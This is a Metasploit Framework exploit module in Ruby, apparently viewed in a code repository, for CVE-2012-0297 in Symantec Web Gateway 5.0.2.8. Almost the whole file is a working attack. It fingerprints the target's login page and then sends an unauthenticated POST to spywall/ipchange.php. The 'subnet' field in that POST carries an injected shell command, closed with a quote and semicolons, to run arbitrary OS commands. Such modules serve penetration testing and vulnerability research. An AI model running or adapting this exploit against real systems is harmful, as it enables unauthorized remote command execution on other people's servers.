sinn3r
c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
98 lines
2.6 KiB
Ruby
98 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
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'Description' => %q{
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This module exploits a command injection vulnerability found in Symantec Web
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Gateway's HTTP service due to the insecure usage of the exec() function. This module
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abuses the spywall/ipchange.php file to execute arbitrary OS commands without
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authentication.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tenable Network Security', # Vulnerability Discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-0297' ],
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[ 'BID', '53444' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
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[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0d\x0a\x26",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl',
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}
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},
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Symantec Web Gateway 5.0.2.8', {}],
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],
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'Privileged' => false,
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'DisclosureDate' => "May 17 2012",
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/spywall/login.php'
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})
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if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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peer = "#{rhost}:#{rport}"
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post_data = "subnet="
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post_data << "\";" + payload.raw + ";#"
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print_status("#{peer} - Sending Command injection")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'spywall/ipchange.php'),
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'data' => post_data
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})
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# If the server doesn't return the default redirection, probably
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# something is wrong
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if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
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print_error("#{peer} - Probably command not executed, aborting!")
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return
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end
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end
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end
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